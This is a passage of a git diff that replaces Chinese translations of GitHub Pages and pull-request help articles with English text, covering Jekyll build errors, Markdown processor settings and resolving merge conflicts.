“Page build failed（页面构建失败）”消息表示构建未能完成。 如果 Jekyll 能够检测到失败的原因，您将看到描述性错误消息。 +If Jekyll does attempt to build your site and encounters an error, you will receive a build error message. There are two main types of Jekyll build error messages. +- A "Page build warning" message means your build completed successfully, but you may need to make changes to prevent future problems. +- A "Page build failed" message means your build failed to complete. If Jekyll is able to detect a reason for the failure, you'll see a descriptive error message. -有关排查构建错误的更多信息，请参阅“[关于 {% data variables.product.prodname_pages %} 站点的 Jekyll 构建错误疑难排解](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)”。 +For more information about troubleshooting build errors, see "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)." -## 查看 Jekyll 构建错误消息 +## Viewing Jekyll build error messages -我们建议在本地测试您的站点，这样您可以在命令行上看到构建错误消息，并在更改推送到 {% data variables.product.product_name %} 之前解决任何构建失败。 更多信息请参阅“[使用 Jekyll 在本地测试 {% data variables.product.prodname_pages %} 站点](/articles/testing-your-github-pages-site-locally-with-jekyll)”。 +We recommend testing your site locally, which allows you to see build error messages on the command line, and addressing any build failures before pushing changes to {% data variables.product.product_name %}. For more information, see "[Testing your {% data variables.product.prodname_pages %} site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)." -创建拉取请求以更新您在 {% data variables.product.product_name %} 上的发布源时，您可以在拉取请求的 **Checks（检查）**选项卡上看到构建错误消息。 更多信息请参阅“[关于状态检查](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)”。 +When you create a pull request to update your publishing source on {% data variables.product.product_name %}, you can see build error messages on the **Checks** tab of the pull request. For more information, see "[About status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)." -将更改推送到您在 {% data variables.product.product_name %} 上的发布源时，{% data variables.product.prodname_pages %} 将尝试构建您的站点。 如果构建失败，您将在您的主要电子邮件地址收到一封电子邮件。 您还将收到关于构建警告的电子邮件。 {% data reusables.pages.build-failure-email-server %} +When you push changes to your publishing source on {% data variables.product.product_name %}, {% data variables.product.prodname_pages %} will attempt to build your site. If the build fails, you'll receive an email at your primary email address. You'll also receive emails for build warnings. {% data reusables.pages.build-failure-email-server %} -您可以在 {% data variables.product.product_name %} 上站点仓库的 **Settings（设置）**选项卡中查看构建失败（而不是构建警告）。 +You can see build failures (but not build warnings) for your site on {% data variables.product.product_name %} in the **Settings** tab of your site's repository. -您可以配置第三方服务（例如 [Travis CI](https://travis-ci.org/)）以在每次提交后显示错误消息。 +You can configure a third-party service, such as [Travis CI](https://travis-ci.org/), to display error messages after each commit. -1. 如果尚未在发布源的根目录中添加名为 _Gemfile_、包含以下内容的文件，请添加： +1. If you haven't already, add a file called _Gemfile_ in the root of your publishing source, with the following content: ```ruby source `https://rubygems.org` gem `github-pages` ``` -2. 为您选择的测试服务配置站点仓库。 例如，要使用 [Travis CI](https://travis-ci.org/)，请在发布源的根目录下添加一个名为 _.travis.yml_、包含以下内容的文件： +2. Configure your site's repository for the testing service of your choice. For example, to use [Travis CI](https://travis-ci.org/), add a file named _.travis.yml_ in the root of your publishing source, with the following content: ```yaml language: ruby rvm: - 2.3 script: "bundle exec jekyll build" ``` -3. 您可能需要使用第三方测试服务激活仓库。 更多信息请参阅测试服务的文档。 +3. You may need to activate your repository with the third-party testing service. For more information, see your testing service's documentation. diff --git a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md index 6cd0c5c76c..dab7078fff 100644 --- a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md +++ b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md @@ -1,6 +1,6 @@ --- -title: 使用 Jekyll 为 GitHub Pages 站点设置 Markdown 处理器 -intro: '您可以选择一个 Markdown 处理器来确定 Markdown 在 {% data variables.product.prodname_pages %} 站点上的呈现方式。' +title: Setting a Markdown processor for your GitHub Pages site using Jekyll +intro: 'You can choose a Markdown processor to determine how Markdown is rendered on your {% data variables.product.prodname_pages %} site.' redirect_from: - /articles/migrating-your-pages-site-from-maruku/ - /articles/updating-your-markdown-processor-to-kramdown/ @@ -14,25 +14,26 @@ versions: ghec: '*' topics: - Pages -shortTitle: 设置 Markdown 处理器 +shortTitle: Set Markdown processor --- -拥有仓库写入权限的人可为 {% data variables.product.prodname_pages %} 站点设置 Markdown 处理器。 +People with write permissions for a repository can set the Markdown processor for a {% data variables.product.prodname_pages %} site. -{% data variables.product.prodname_pages %} 支持两种 Markdown 处理器：[kramdown](http://kramdown.gettalong.org/) 和 {% data variables.product.prodname_dotcom %} 自己的 Markdown 处理器，后者用于在整个 {% data variables.product.product_name %} 中呈现 [{% data variables.product.prodname_dotcom %} 风格的 Markdown (GFM)](https://github.github.com/gfm/)。 更多信息请参阅“[关于 {% data variables.product.prodname_dotcom %} 上的书写和格式化](/articles/about-writing-and-formatting-on-github)”。 +{% data variables.product.prodname_pages %} supports two Markdown processors: [kramdown](http://kramdown.gettalong.org/) and {% data variables.product.prodname_dotcom %}'s own Markdown processor, which is used to render [{% data variables.product.prodname_dotcom %} Flavored Markdown (GFM)](https://github.github.com/gfm/) throughout {% data variables.product.product_name %}. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github)." -您可以在任一处理器上使用 {% data variables.product.prodname_dotcom %} 风格的 Markdown，但只有我们的 GFM 处理器始终与您在 {% data variables.product.product_name %} 上看到的结果相匹配。 +You can use {% data variables.product.prodname_dotcom %} Flavored Markdown with either processor, but only our GFM processor will always match the results you see on {% data variables.product.product_name %}. {% data reusables.pages.navigate-site-repo %} -2. 在仓库中，浏览到 *_config.yml* 文件。 +2. In your repository, browse to the *_config.yml* file. {% data reusables.repositories.edit-file %} -4. 找到以 `markdown:` 开头的行，然后将值更改为 `kramdown` 或 `GFM`。 ![config.yml 中的 Markdown 设置](/assets/images/help/pages/config-markdown-value.png) +4. Find the line that starts with `markdown:` and change the value to `kramdown` or `GFM`. + ![Markdown setting in config.yml](/assets/images/help/pages/config-markdown-value.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %} -## 延伸阅读 +## Further reading -- [kramdown 文档](https://kramdown.gettalong.org/documentation.html) -- [{% data variables.product.prodname_dotcom %} Flavored Markdown 规格](https://github.github.com/gfm/) +- [kramdown Documentation](https://kramdown.gettalong.org/documentation.html) +- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/) diff --git a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md index 34a6d45ae9..0224c4f21a 100644 --- a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md +++ b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md @@ -1,6 +1,6 @@ --- -title: 排查 GitHub Pages 站点的 Jekyll 构建错误 -intro: '您可以使用 Jekyll 构建错误消息来排查 {% data variables.product.prodname_pages %} 站点的问题。' +title: Troubleshooting Jekyll build errors for GitHub Pages sites +intro: 'You can use Jekyll build error messages to troubleshoot problems with your {% data variables.product.prodname_pages %} site.' redirect_from: - /articles/page-build-failed-missing-docs-folder/ - /articles/page-build-failed-invalid-submodule/ @@ -33,161 +33,161 @@ versions: ghec: '*' topics: - Pages -shortTitle: 排查 Jekyll 错误 +shortTitle: Troubleshoot Jekyll errors --- -## 排查构建错误 +## Troubleshooting build errors -如果在本地或 {% data variables.product.product_name %} 上构建 {% data variables.product.prodname_pages %} 站点时发生 Jekyll 错误，您可以使用错误消息排查故障。 有关构建错误以及如何查看它们的更多信息，请参阅“[关于 {% data variables.product.prodname_pages %} 站点的 Jekyll 构建错误](/articles/about-jekyll-build-errors-for-github-pages-sites)”。 +If Jekyll encounters an error building your {% data variables.product.prodname_pages %} site locally or on {% data variables.product.product_name %}, you can use error messages to troubleshoot. For more information about error messages and how to view them, see "[About Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/about-jekyll-build-errors-for-github-pages-sites)." -如果您收到一般错误消息，请检查常见问题。 -- 您使用的插件不受支持。 更多信息请参阅“[关于 {% data variables.product.prodname_pages %} 和 Jekyll](/articles/about-github-pages-and-jekyll#plugins)”。{% ifversion fpt or ghec %} -- 您的仓库已超过我们的仓库大小限制。 更多信息请参阅“[我的磁盘配额是多少？](/articles/what-is-my-disk-quota)”{% endif %} -- 您更改了 *_config.yml* 文件中的 `source` 设置。 {% data variables.product.prodname_pages %} 在构建过程中会覆盖此设置。 -- 发布源中的文件名包含不受支持的冒号 (`:`)。 +If you received a generic error message, check for common issues. +- You're using unsupported plugins. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll#plugins)."{% ifversion fpt or ghec %} +- Your repository has exceeded our repository size limits. For more information, see "[What is my disk quota?](/articles/what-is-my-disk-quota)"{% endif %} +- You changed the `source` setting in your *_config.yml* file. {% data variables.product.prodname_pages %} overrides this setting during the build process. +- A filename in your publishing source contains a colon (`:`) which is not supported. -如果您收到特定的错误消息，请查看下面的错误消息疑难解答信息。 +If you received a specific error message, review the troubleshooting information for the error message below. -修复任何错误后，请将更改推送到站点的发布源，以触发 {% data variables.product.product_name %} 上的再次构建。 +After you've fixed any errors, push the changes to your site's publishing source to trigger another build on {% data variables.product.product_name %}. -## Config 文件错误 +## Config file error -此错误意味着 *_config.yml* 文件包含语法错误导致您的站点无法构建。 +This error means that your site failed to build because the *_config.yml* file contains syntax errors. -要排除故障，请确保 *_config.yml* 文件遵循以下规则： +To troubleshoot, make sure that your *_config.yml* file follows these rules: {% data reusables.pages.yaml-rules %} {% data reusables.pages.yaml-linter %} -## 日期不是有效的日期时间 +## Date is not a valid datetime -此错误意味着站点上的某个页面包含无效的日期时间。 +This error means that one of the pages on your site includes an invalid datetime. -要排除故障，请搜索错误消息中的文件和文件布局，以调用任何与日期相关的 Liquid 过滤器。 确保在所有情况下传递给日期相关 Liquid 过滤器的任何变量都有值，并且永远不会传递 `nil` 或 `""`。 更多信息请参阅 Liquid 文档中的“[Liquid 过滤器](https://help.shopify.com/en/themes/liquid/filters)”。 +To troubleshoot, search the file in the error message and the file's layouts for calls to any date-related Liquid filters. Make sure that any variables passed into date-related Liquid filters have values in all cases and never pass `nil` or `""`. For more information, see "[Liquid filters](https://help.shopify.com/en/themes/liquid/filters)" in the Liquid documentation. -## 文件在包含目录中不存在 +## File does not exist in includes directory -此错误意味着您的代码引用了 *_includes* 目录中不存在的文件。 +This error means that your code references a file that doesn't exist in your *_includes* directory. -{% data reusables.pages.search-for-includes %} 如果您引用的任何文件不在 *_includes* 目录中，请将这些文件复制或移动到 *_includes* 目录中。 +{% data reusables.pages.search-for-includes %} If any of the files you've referenced aren't in the *_includes* directory, copy or move the files into the *_includes* directory. -## 文件是符号链接 +## File is a symlink -此错误意味着您的代码引用了站点发布源中不存在的符号链接文件。 +This error means that your code references a symlinked file that does not exist in the publishing source for your site. -{% data reusables.pages.search-for-includes %} 如果您引用的任何文件是符号链接的文件，请将这些文件复制或移动到 *_includes* 目录中。 +{% data reusables.pages.search-for-includes %} If any of the files you've referenced are symlinked, copy or move the files into the *_includes* directory. -## 文件未采用正确的 UTF-8 编码 +## File is not properly UTF-8 encoded -此错误意味着您使用了非拉丁字符（如 `日本語`）但没有告诉计算机预期这些符号。 +This error means that you used non-Latin characters, like `日本語`, without telling the computer to expect these symbols. -要排除故障，请将以下行添加到 *_config.yml* 文件以实施 UTF-8 编码： +To troubleshoot, force UTF-8 encoding by adding the following line to your *_config.yml* file: ```yaml encoding: UTF-8 ``` -## 高亮插件语言无效 +## Invalid highlighter language -此错误意味着您在配置文件中指定了 [Rouge](https://github.com/jneen/rouge) 或 [Pygments](http://pygments.org/) 以外的任何语法高亮插件。 +This error means that you specified any syntax highlighter other than [Rouge](https://github.com/jneen/rouge) or [Pygments](http://pygments.org/) in your configuration file. -要排除故障，请更新 *_config.yml* 文件以指定 [Rouge](https://github.com/jneen/rouge) 或 [Pygments](http://pygments.org/)。 更多信息请参阅“[关于 {% data variables.product.product_name %} 和 Jekyll](/articles/about-github-pages-and-jekyll#syntax-highlighting)”。 +To troubleshoot, update your *_config.yml* file to specify [Rouge](https://github.com/jneen/rouge) or [Pygments](http://pygments.org/). For more information, see "[About {% data variables.product.product_name %} and Jekyll](/articles/about-github-pages-and-jekyll#syntax-highlighting)." -## 帖子日期无效 +## Invalid post date -此错误意味着站点上的帖子在文件名或 YAML 前页中包含无效的日期。 +This error means that a post on your site contains an invalid date in the filename or YAML front matter. -要排除故障，请确保所有日期的 UTC 格式均为 YYYY-MM-DD HH:MM:SS， 并且都是实际日历日期。 要指定与 UTC 偏移的时区，请使用格式 YYYY-MM-DD HH:MM:SS +/-TTTT，例如 `2014-04-18 11:30:00 +0800`。 +To troubleshoot, make sure all dates are formatted as YYYY-MM-DD HH:MM:SS for UTC and are actual calendar dates. To specify a time zone with an offset from UTC, use the format YYYY-MM-DD HH:MM:SS +/-TTTT, like `2014-04-18 11:30:00 +0800`. -如果您在 *_config.yml* 文件中指定日期格式，请确保格式正确。 +If you specify a date format in your *_config.yml* file, make sure the format is correct. -## Sass 或 SCSS 无效 +## Invalid Sass or SCSS -此错误意味着您的仓库包含内容无效的 Sass 或 SCSS 文件。 +This error means your repository contains a Sass or SCSS file with invalid content. -要排除故障，请查看指示 Sass 或 SCSS 无效的错误消息中包含的行号。 为防止以后出错，请在您的常用文本编辑器中安装 Sass 或 SCSS 语法检查插件。 +To troubleshoot, review the line number included in the error message for invalid Sass or SCSS. To help prevent future errors, install a Sass or SCSS linter for your favorite text editor. -## 子模块无效 +## Invalid submodule -此错误意味着您的仓库包含尚未正确初始化的子模块。 +This error means that your repository includes a submodule that hasn't been properly initialized. {% data reusables.pages.remove-submodule %} -如果要使用子模块，请确保在引用子模块时使用 `https://`（而不是 `http://`），并确保该子模块在公共仓库中。 +If do you want to use the submodule, make sure you use `https://` when referencing the submodule (not `http://`) and that the submodule is in a public repository. -## 数据文件中的 YAML 无效 +## Invalid YAML in data file -此错误意味着 *_data* 文件夹中的一个或多个文件包含无效的 YAML。 +This error means that one of more files in the *_data* folder contains invalid YAML. -要排除故障，请确保 *_data* 文件夹中的 YAML 文件遵循以下规则： +To troubleshoot, make sure the YAML files in your *_data* folder follow these rules: {% data reusables.pages.yaml-rules %} {% data reusables.pages.yaml-linter %} -有关 Jekyll 数据文件的更多信息，请参阅 Jekyll 文档中的“[数据文件](https://jekyllrb.com/docs/datafiles/)”。 +For more information about Jekyll data files, see "[Data Files](https://jekyllrb.com/docs/datafiles/)" in the Jekyll documentation. -## Markdown 错误 +## Markdown errors -此错误意味着您的仓库包含 Markdown 错误。 +This error means that your repository contains Markdown errors. -要排除故障，请确保使用受支持的 Markdown 处理器。 更多信息请参阅“[使用 Jekyll 为 {% data variables.product.prodname_pages %} 站点设置 Markdown 处理器](/articles/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll)”。 +To troubleshoot, make sure you are using a supported Markdown processor. For more information, see "[Setting a Markdown processor for your {% data variables.product.prodname_pages %} site using Jekyll](/articles/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll)." -然后，确认错误消息中的文件使用有效的 Markdown 语法。 更多信息请参阅 Daring Fireball 上的“[Markdown：语法](https://daringfireball.net/projects/markdown/syntax)”。 +Then, make sure the file in the error message uses valid Markdown syntax. For more information, see "[Markdown: Syntax](https://daringfireball.net/projects/markdown/syntax)" on Daring Fireball. -## 缺少 docs 文件夹 +## Missing docs folder -此错误意味着您已选择分支上的 `docs` 文件夹作为发布源，但该分支上仓库的根目录中没有 `docs` 文件夹。 +This error means that you have chosen the `docs` folder on a branch as your publishing source, but there is no `docs` folder in the root of your repository on that branch. -要排除故障，如果 `docs` 文件夹被意外移动，请尝试将 `docs` 文件夹移回到您为发布源所选分支上仓库的根目录中。 如果 `docs` 文件夹被意外删除，您执行以下任一操作： -- 使用 Git 还原或撤消删除。 更多信息请参阅 Git 文档中的“[git-revert](https://git-scm.com/docs/git-revert.html)”。 -- 在您为发布源所选分支上仓库的根目录中创建新的 `docs` 文件夹，然后将站点的源文件添加到该文件夹中。 更多信息请参阅“[创建新文件](/articles/creating-new-files)”。 -- 更改发布源。 更多信息请参阅“[配置 {% data variables.product.prodname_pages %} 的发布源](/articles/configuring-a-publishing-source-for-github-pages)”。 +To troubleshoot, if your `docs` folder was accidentally moved, try moving the `docs` folder back to the root of your repository on the branch you chose for your publishing source. If the `docs` folder was accidentally deleted, you can either: +- Use Git to revert or undo the deletion. For more information, see "[git-revert](https://git-scm.com/docs/git-revert.html)" in the Git documentation. +- Create a new `docs` folder in the root of your repository on the branch you chose for your publishing source and add your site's source files to the folder. For more information, see "[Creating new files](/articles/creating-new-files)." +- Change your publishing source. For more information, see "[Configuring a publishing source for {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-github-pages)." -## 缺少子模块 +## Missing submodule -此错误意味着您的仓库包含不存在或尚未正确初始化的子模块。 +This error means that your repository includes a submodule that doesn't exist or hasn't been properly initialized. {% data reusables.pages.remove-submodule %} -如果要使用子模块，请初始化子模块。 更多信息请参阅 _Pro Git_ 手册中的“[Git 工具 - 子模块](https://git-scm.com/book/en/v2/Git-Tools-Submodules)”。 +If you do want to use a submodule, initialize the submodule. For more information, see "[Git Tools - Submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules)" in the _Pro Git_ book. -## 配置了相对永久链接 +## Relative permalinks configured -此错误意味着您的 *_config.yml* 文件中存在 {% data variables.product.prodname_pages %} 不支持的相对永久链接。 +This errors means that you have relative permalinks, which are not supported by {% data variables.product.prodname_pages %}, in your *_config.yml* file. -永久链接是引用站点上特定页面的永久 URL。 绝对永久链接以站点的根目录开头，而相对永久链接以包含引用页面的文件夹开头。 {% data variables.product.prodname_pages %} 和 Jekyll 不再支持相对永久链接。 有关永久链接的更多信息，请参阅 Jekyll 文档中的“[永久链接](https://jekyllrb.com/docs/permalinks/)”。 +Permalinks are permanent URLs that reference a particular page on your site. Absolute permalinks begin with the root of the site, while relative permalinks begin with the folder containing the referenced page. {% data variables.product.prodname_pages %} and Jekyll no longer support relative permalinks. For more information about permalinks, see "[Permalinks](https://jekyllrb.com/docs/permalinks/)" in the Jekyll documentation. -要排除故障，请从 *_config.yml* 文件中删除 `relative_permalinks` 行，并将站点中的任何相对永久链接重新格式化为绝对永久链接。 For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)." +To troubleshoot, remove the `relative_permalinks` line from your *_config.yml* file and reformat any relative permalinks in your site with absolute permalinks. For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)." -## 符号链接不存在于站点的仓库中 +## Symlink does not exist within your site's repository -此错误意味着您的站点包含站点发布源中不存在的符号链接。 有关符号链接的更多信息，请参阅维基百科上的“[符号链接](https://en.wikipedia.org/wiki/Symbolic_link)”。 +This error means that your site includes a symbolic link (symlink) that does not exist in the publishing source for your site. For more information about symlinks, see "[Symbolic link](https://en.wikipedia.org/wiki/Symbolic_link)" on Wikipedia. -要排除故障，请确定错误消息中的文件是否用于构建站点。 如果否，或者您不希望文件成为符号链接，请删除该文件。 如果符号链接文件是构建站点的必需项，请确保符号链接引用的文件或目录存在于站点的发布源中。 要包括外部资产，请考虑使用 {% ifversion fpt or ghec %}`git submodule` 或{% endif %}第三方包管理器，例如 [Bower](https://bower.io/)。{% ifversion fpt or ghec %} 更多信息请参阅“[将子模块用于 {% data variables.product.prodname_pages %}](/articles/using-submodules-with-github-pages)。”{% endif %} +To troubleshoot, determine if the file in the error message is used to build your site. If not, or if you don't want the file to be a symlink, delete the file. If the symlinked file is necessary to build your site, make sure the file or directory the symlink references is in the publishing source for your site. To include external assets, consider using {% ifversion fpt or ghec %}`git submodule` or {% endif %}a third-party package manager such as [Bower](https://bower.io/).{% ifversion fpt or ghec %} For more information, see "[Using submodules with {% data variables.product.prodname_pages %}](/articles/using-submodules-with-github-pages)."{% endif %} -## 'for' 循环中的语法错误 +## Syntax error in 'for' loop -此错误意味着您的代码在 Liquid `for` 循环声明中包含无效语法。 +This error means that your code includes invalid syntax in a Liquid `for` loop declaration. -要排除故障，请确保错误消息所指文件中的所有 `for` 循环都具有正确的语法。 有关 `for` 循环之正确语法的更多信息，请参阅 Liquid 文档中的“[迭代标记](https://help.shopify.com/en/themes/liquid/tags/iteration-tags#for)”。 +To troubleshoot, make sure all `for` loops in the file in the error message have proper syntax. For more information about proper syntax for `for` loops, see "[Iteration tags](https://help.shopify.com/en/themes/liquid/tags/iteration-tags#for)" in the Liquid documentation. -## 标记未正确关闭 +## Tag not properly closed -此错误消息意味着您的代码包含未正确关闭的逻辑标记。 例如，{% raw %}`{% capture example_variable %}` 必须用 `{% endcapture %}`{% endraw %} 关闭。 +This error message means that your code includes a logic tag that is not properly closed. For example, {% raw %}`{% capture example_variable %}` must be closed by `{% endcapture %}`{% endraw %}. -要排除故障，请确保错误消息所指文件中的所有逻辑标记都正确关闭。 更多信息请参阅 Liquid 文档中的“[Liquid 标记](https://help.shopify.com/en/themes/liquid/tags)”。 +To troubleshoot, make sure all logic tags in the file in the error message are properly closed. For more information, see "[Liquid tags](https://help.shopify.com/en/themes/liquid/tags)" in the Liquid documentation. -## 标记未正确终止 +## Tag not properly terminated -此错误意味着您的代码包含未正确终止的输出标记。 例如，用 {% raw %}`{{ page.title }` 代替 `{{ page.title }}`{% endraw %}。 +This error means that your code includes an output tag that is not properly terminated. For example, {% raw %}`{{ page.title }` instead of `{{ page.title }}`{% endraw %}. -要排除故障，请确保错误消息所指文件中的所有输出标记都用 `}}` 终止。 更多信息请参阅 Liquid 文档中的“[Liquid 对象](https://help.shopify.com/en/themes/liquid/objects)”。 +To troubleshoot, make sure all output tags in the file in the error message are terminated with `}}`. For more information, see "[Liquid objects](https://help.shopify.com/en/themes/liquid/objects)" in the Liquid documentation. -## 未知标记错误 +## Unknown tag error -此错误意味着您的代码包含无法识别的 Liquid 标记。 +This error means that your code contains an unrecognized Liquid tag. -要排除故障，请确保错误消息所指文件中的所有 Liquid 标记都与 Jekyll 的默认变量相匹配，并且标记名称没有拼写错误。 有关默认变量列表，请参阅 Jekyll 文档中的“[变量](https://jekyllrb.com/docs/variables/)”。 +To troubleshoot, make sure all Liquid tags in the file in the error message match Jekyll's default variables and there are no typos in the tag names. For a list of default variables, see "[Variables](https://jekyllrb.com/docs/variables/)" in the Jekyll documentation. -不受支持的插件是无法识别标记的常见来源。 如果您通过在本地生成站点并将静态文件推送到 {% data variables.product.product_name %} 的方法在站点中使用不受支持的插件，请确保该插件未引入 Jekyll 默认变量中没有的标记。 有关受支持插件的列表，请参阅“[关于 {% data variables.product.prodname_pages %} 和 Jekyll](/articles/about-github-pages-and-jekyll#plugins)”。 +Unsupported plugins are a common source of unrecognized tags. If you use an unsupported plugin in your site by generating your site locally and pushing your static files to {% data variables.product.product_name %}, make sure the plugin is not introducing tags that are not in Jekyll's default variables. For a list of supported plugins, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll#plugins)." diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md index 2ed8c191bd..c2529a41aa 100644 --- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md +++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md @@ -1,6 +1,6 @@ --- -title: 在 GitHub 上解决合并冲突 -intro: 您可以使用冲突编辑器在 GitHub 上解决涉及竞争行更改的简单合并冲突。 +title: Resolving a merge conflict on GitHub +intro: 'You can resolve simple merge conflicts that involve competing line changes on GitHub, using the conflict editor.' redirect_from: - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github - /articles/resolving-a-merge-conflict-on-github @@ -14,47 +14,51 @@ versions: ghec: '*' topics: - Pull requests -shortTitle: 解决合并冲突 +shortTitle: Resolve merge conflicts --- - -您只能在 {% data variables.product.product_name %} 上解决由竞争行更改引起的合并冲突，例如当人们对 Git 仓库中不同分支上同一文件的同一行进行不同的更改时。 对于所有其他类型的合并冲突，您必须在命令行上本地解决冲突。 更多信息请参阅“[使用命令行解决合并冲突](/articles/resolving-a-merge-conflict-using-the-command-line/)”。 +You can only resolve merge conflicts on {% data variables.product.product_name %} that are caused by competing line changes, such as when people make different changes to the same line of the same file on different branches in your Git repository. For all other types of merge conflicts, you must resolve the conflict locally on the command line. For more information, see "[Resolving a merge conflict using the command line](/articles/resolving-a-merge-conflict-using-the-command-line/)." {% ifversion ghes or ghae %} -如果站点管理员对仓库之间的拉取请求禁用合并冲突编辑器，则无法在 {% data variables.product.product_name %} 上使用冲突编辑器，并且必须在命令行上解决合并冲突。 例如，如果禁用合并冲突编辑器，则无法在复刻和上游仓库之间的拉取请求中使用它。 +If a site administrator disables the merge conflict editor for pull requests between repositories, you cannot use the conflict editor on {% data variables.product.product_name %} and must resolve merge conflicts on the command line. For example, if the merge conflict editor is disabled, you cannot use it on a pull request between a fork and upstream repository. {% endif %} {% warning %} -**警告：**在 {% data variables.product.product_name %} 上解决合并冲突时，拉取请求的整个[基本分支](/github/getting-started-with-github/github-glossary#base-branch)都会合并到[头部分支](/github/getting-started-with-github/github-glossary#head-branch)中。 确保您确实想要提交到此分支。 如果头部分支是仓库的默认分支，您可以选择创建一个新分支作为拉取请求的头部分支。 如果头部分支是受保护分支，则无法将冲突解决合并到其中，因此系统会提示您创建一个新的头部分支。 更多信息请参阅“[关于受保护分支](/github/administering-a-repository/about-protected-branches)”。 +**Warning:** When you resolve a merge conflict on {% data variables.product.product_name %}, the entire [base branch](/github/getting-started-with-github/github-glossary#base-branch) of your pull request is merged into the [head branch](/github/getting-started-with-github/github-glossary#head-branch). Make sure you really want to commit to this branch. If the head branch is the default branch of your repository, you'll be given the option of creating a new branch to serve as the head branch for your pull request. If the head branch is protected you won't be able to merge your conflict resolution into it, so you'll be prompted to create a new head branch. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." {% endwarning %} {% data reusables.repositories.sidebar-pr %} -1. 在“Pull Requests（拉取请求）”列表中，单击含有您想要解决的合并冲突的拉取请求。 -1. 在拉取请求底部附近，单击 **Resolve conflicts（解决冲突）**。 ![解决合并冲突按钮](/assets/images/help/pull_requests/resolve-merge-conflicts-button.png) +1. In the "Pull Requests" list, click the pull request with a merge conflict that you'd like to resolve. +1. Near the bottom of your pull request, click **Resolve conflicts**. +![Resolve merge conflicts button](/assets/images/help/pull_requests/resolve-merge-conflicts-button.png) {% tip %} - **提示：**如果停用 **Resolve conflicts（解决冲突）**按钮，则拉取请求的合并冲突过于复杂而无法在 {% data variables.product.product_name %} 上解决{% ifversion ghes or ghae %}或站点管理员已禁用仓库之间拉取请求的冲突编辑器{% endif %}。 必须使用备用 Git 客户端或在命令行上使用 Git 解决合并冲突。 For more information see "\[Resolving a merge conflict using the command line\](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line." + **Tip:** If the **Resolve conflicts** button is deactivated, your pull request's merge conflict is too complex to resolve on {% data variables.product.product_name %}{% ifversion ghes or ghae %} or the site administrator has disabled the conflict editor for pull requests between repositories{% endif %}. You must resolve the merge conflict using an alternative Git client, or by using Git on the command line. For more information see "[Resolving a merge conflict using the command line](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line)." {% endtip %} {% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %} - ![查看带有冲突标记的合并冲突示例](/assets/images/help/pull_requests/view-merge-conflict-with-markers.png) -1. 如果文件中有多个合并冲突，请向下滚动到下一组冲突标记，然后重复步骤 4 和步骤 5 以解决合并冲突。 -1. 解决文件中的所有冲突后，单击 **Mark as resolved（标记为已解决）**。 ![单击“标记为已解决”按钮](/assets/images/help/pull_requests/mark-as-resolved-button.png) -1. 如果您有多个冲突文件，请在“冲突文件”下的页面左侧选择您要编辑的下一个文件，并重复步骤 4 到 7，直到您解决所有拉取请求的合并冲突。 ![适用时选择下一个冲突文件](/assets/images/help/pull_requests/resolve-merge-conflict-select-conflicting-file.png) -1. 解决所有合并冲突后，单击 **Commit merge（提交合并）**。 这会将整个基本分支合并到头部分支。 ![解决合并冲突按钮](/assets/images/help/pull_requests/merge-conflict-commit-changes.png) -1. 如果出现提示，请审查您要提交的分支。 + ![View merge conflict example with conflict markers](/assets/images/help/pull_requests/view-merge-conflict-with-markers.png) +1. If you have more than one merge conflict in your file, scroll down to the next set of conflict markers and repeat steps four and five to resolve your merge conflict. +1. Once you've resolved all the conflicts in the file, click **Mark as resolved**. + ![Click mark as resolved button](/assets/images/help/pull_requests/mark-as-resolved-button.png) +1. If you have more than one file 